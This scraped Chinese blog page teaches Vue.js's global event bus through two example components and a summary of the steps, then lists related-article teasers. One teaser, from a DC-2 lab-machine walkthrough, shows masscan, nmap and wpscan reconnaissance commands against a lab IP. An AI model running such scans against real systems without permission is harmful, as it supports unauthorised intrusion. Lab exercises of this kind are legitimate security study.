				console.log('我是School组件,收到了数据:',data)
			}
		},
		mounted() {
			this.$bus.$on('demo',this.demo)
		},
		beforeDestroy() {
			this.$bus.$off('demo')
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

src/components/Student.vue:

<template>
	<div class="student">
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<button @click="sendStudentName">把学生名给School组件</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
		methods: {
			sendStudentName(){
				this.$bus.$emit('demo',this.name)
			}
		}
	}
</script>

<style scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

在这里插入图片描述

全局事件总线总结SOP(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    2. 提供数据:this.$bus.$emit('xxxx',数据)

  4. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/86079.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这些车企在企业微信里,装上高速的“组织引擎”

“这真是一场惊险之旅。” 今年7月&#xff0c;胡先生一家疾驶在若羌县罗布泊镇国道上&#xff0c;迎面突然冲出一辆大型货车……为了避让&#xff0c;胡太太驾驶的极氪001撞上了路边的石墩&#xff0c;两个轮胎直接报废。 在人迹罕至的无人区&#xff0c;保险公司鞭长莫及&a…

C++ 基础篇之如何进行数据封装

&#x1f4d2;博客主页&#xff1a; ​​开心档博客主页​​ &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐留言&#x1f4dd; &#x1f4cc;本文由开心档原创&#xff01; &#x1f4c6;51CTO首发时间&#xff1a;&#x1f334;2022年12月12日&#x1f334; ✉…

rocketmq源码-producer启动流程

前言 DefaultMQProducer producer new DefaultMQProducer("please_rename_unique_group_name"); producer.setNamesrvAddr("127.0.0.1:9876");producer.setNamesrvAddr("127.0.0.1:9876");producer.start();创建、启动producer的逻辑&#xff…

[附源码]Node.js计算机毕业设计电影推荐网站Express

项目运行 环境配置&#xff1a; Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境&#xff1a;最好是Nodejs最新版&#xff0c;我…

对长尾识别任务中解耦方法的改进

来源&#xff1a;投稿 作者&#xff1a;TransforMe 编辑&#xff1a;学姐 贡献 在长尾识别任务上&#xff0c;解耦&#xff08;二阶段&#xff09;的方法取得了巨大的进步&#xff0c;详情参考https://blog.csdn.net/weixin_41246832/article/details/115718084。本文详细分析…

Android实现SSH Client

本文实现的是如何使用JSCH在Android上实现一个简易版本的ssh client&#xff0c;来远程执行ssh命令。 1、启动ssh服务&#xff0c;本文以mac为例。 打开设置-->共享-->选择远程登录 2、检验ssh server是否开启成功。 打开shell ssh dongxuliip 输入dongxuli账户的密码&…

P3884 [JLOI2009]二叉树问题——树化图Floyd+dfs

[JLOI2009]二叉树问题 题目描述 如下图所示的一棵二叉树的深度、宽度及结点间距离分别为&#xff1a; 深度&#xff1a;444宽度&#xff1a;444结点 8 和 6 之间的距离&#xff1a;888结点 7 和 6 之间的距离&#xff1a;333 其中宽度表示二叉树上同一层最多的结点个数&…

[附源码]Python计算机毕业设计Django高校体育场馆管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

web前端期末大作业——基于HTML+CSS+JavaScript蓝色的远程监控设备系统后台管理界面模板

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…

6-1和6-2矩阵键盘

江科大自动化单片机学习记录使用到的设备以及软件今天的学习内容弱上拉和强下拉代码LCD1602.cMatrixKey.c生成.h文件调用主函数main总结记录学习单片机的过程学习内容的视频链接:江科大自化协:51单片机入门教程-2020版,程序全程纯手打 使用到的设备以及软件 普中科技的嵌入式…

DC-2靶机教程

masscan -p1-65535 192.168.250.180 --rate10000nmap -sC -sV -p- -A -T4 192.168.250.180扫描看到80需要添加解析 C:\Windows\System32\drivers\etc添加记录&#xff1a;192.168.250.180 dc-2 同时我们也可以用cmseek扫描到用户名和相关的漏洞 或者使用 wpscan --url htt…

【图像处理OpenCV(C++版)】——2.3 灰度/彩色图像数字化

前言&#xff1a; &#x1f60a;&#x1f60a;&#x1f60a;欢迎来到本博客&#x1f60a;&#x1f60a;&#x1f60a; &#x1f31f;&#x1f31f;&#x1f31f; 本专栏主要结合OpenCV和C来实现一些基本的图像处理算法并详细解释各参数含义&#xff0c;适用于平时学习、工作快…

基于无人机的移动边缘计算网络(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 空中无人机&#xff08;UAV&#xff09;长期以来一直被用作移动网络中的网络处理器&#xff0c;但它们现在被用作移动边缘计算…

29-Vue之ECharts-散点图

ECharts-散点图前言散点图特点散点图实现步骤散点图常见效果气泡效果涟漪动画效果完整代码前言 本篇来学习散点图的实现 散点图特点 散点图可以帮助我们推断出不同维度数据之间的相关性, 比如&#xff1a;看得出身高和体重是正相关, 身 高越高, 体重越重散点图也经常用在地图…

解决 AssertionError Torch not compiled with CUDA enabled

最近在矩池云的的Tesla K80机子上跑MMYOLO&#xff0c;跟着MMYOLO官方文档《自定义数据集 标注训练测试部署 全流程 》操作到 “2.1.1 软件或者算法辅助”时&#xff0c;利用预训练模型官方脚本去辅助标注时&#xff0c;一按下回车就报错&#xff1a; 报错信息 AssertionError…

技巧分享:你知道视频转文字怎么操作?

随着科技的发展&#xff0c;很多东西都开通了“线上”这个渠道&#xff0c;例如线上教学、线上问诊等等。而我们也越来越习惯“线上”&#xff0c;因为它不仅方便&#xff0c;还更节省时间。例如我&#xff0c;学习一些知识或技能时&#xff0c;我会在网上寻找教学视频或报线上…

flink单机部署和简单使用

flink单机部署 Java版本&#xff1a;1.8.0_45 flink下载&#xff1a;https://archive.apache.org/dist/flink/flink-1.7.2/flink-1.7.2-bin-scala_2.11.tgz 解压安装包&#xff1a; [rootvm-9f-mysteel-dc-ebc-test03 opt]# tar -zxvf flink-1.7.2-bin-scala_2.11.tgz flin…

莽荒纪人物出场数据统计

今天继续给大家介绍Python相关知识&#xff0c;本文主要内容莽荒纪人物出场数据统计。 一、中文文本词频统计思路 在上文Python英文词频统计&#xff08;哈姆雷特&#xff09;程序示例中&#xff0c;我们进行了英文单词的统计。今天&#xff0c;我们进行中文人物出场频率统计…

java服装经销系统服装进销系统

简介 Ssm服装经销系统&#xff0c;主要分为6个角色&#xff1a;管理员、资料员、采购员、仓库员、售卖员、财务。采购员进行采购入库&#xff1b;仓库员进行采购入库、退货入库、提货出库、折损出库等库存管理&#xff1b;售卖员进行填单的创建&#xff0c;然后去仓库那里提货…

Score Matching

目录简介Score Function求解方法emm参考简介 score matching算法是一种求解概率密度函数的参数的算法。 在很多情况下&#xff0c;概率密度函数可以表示为&#xff1a; p(ξ;θ)1Z(θ)q(ξ;θ)p(\xi;\theta)\frac{1}{Z(\theta)}q(\xi;\theta) p(ξ;θ)Z(θ)1​q(ξ;θ) 假设我…